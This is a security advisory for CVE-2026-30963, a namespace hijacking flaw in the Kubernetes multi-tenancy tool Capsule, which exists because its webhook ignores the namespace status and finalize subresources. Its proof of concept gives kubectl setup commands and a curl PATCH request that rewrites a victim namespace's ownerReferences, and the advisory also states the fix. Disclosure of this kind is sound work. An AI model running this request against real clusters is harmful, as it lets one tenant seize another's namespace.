GHSA-2ww6-hf35-mfjm

Опубликовано: 28 мая 2026

Источник: github

Github: Прошло ревью

CVSS3: 3.9

Описание

Capsule Namespace Hijacking via subresource

Summary

To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.

Details

When Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.

PoC

Open two terminals and create two tenants:

kubectl create -f - << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: oil spec: owners: - name: alice kind: User EOF ./hack/create-user.sh alice solar export KUBECONFIG=alice-solar.kubeconfig kubectl create namespace solar-production # alice creates the namespace

kubectl create -f - << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: attacker spec: owners: - name: attacker kind: User EOF ./hack/create-user.sh attacker attacker export KUBECONFIG=attacker-attacker.kubeconfig

When the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:

kubectl create clusterrole status --verb=patch --resource=namespaces/status kubectl create clusterrolebinding status --clusterrole=status --user=attacker

The attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:

curl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \ --header 'Content-Type: application/json-patch+json' \ --data '[ { "op": "replace", "path": "/metadata/ownerReferences", "value": [ { "apiVersion": "capsule.clastix.io/v1beta2", "kind": "Tenant", "name": "attacker", "uid": "1fcb9c9b-b552-4974-a248-32be66a2188c" } ] } ]'

Impact

hijack namespace

Remediation

To mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:

resources: - namespaces - namespaces/status - namespace/finalize

Ссылки

Пакеты

Наименование

github.com/projectcapsule/capsule

Затронутые версииВерсия исправления

< 0.13.0

0.13.0

EPSS

Процентиль: 10%

0.00203

Низкий

3.9 Low

CVSS3

CVE ID

CVE-2026-30963

Дефекты

CWE-20

Связанные уязвимости

CVE-2026-30963

CVSS3: 3.9

nvd

2 месяца назад

Capsule is a multi-tenancy and policy-based framework for Kubernetes. To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. Prior to version 0.13.0, the webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking. Version 0.13.0 fixes the issue. Another mitigation is to add two subresources (namespaces and snamespaces/status with namespace/finalize within it) to the resources list in the ValidatingWebhookConfiguration rules.

EPSS

Процентиль: 10%

0.00203

Низкий

3.9 Low

CVSS3

CVE ID

CVE-2026-30963

Дефекты

CWE-20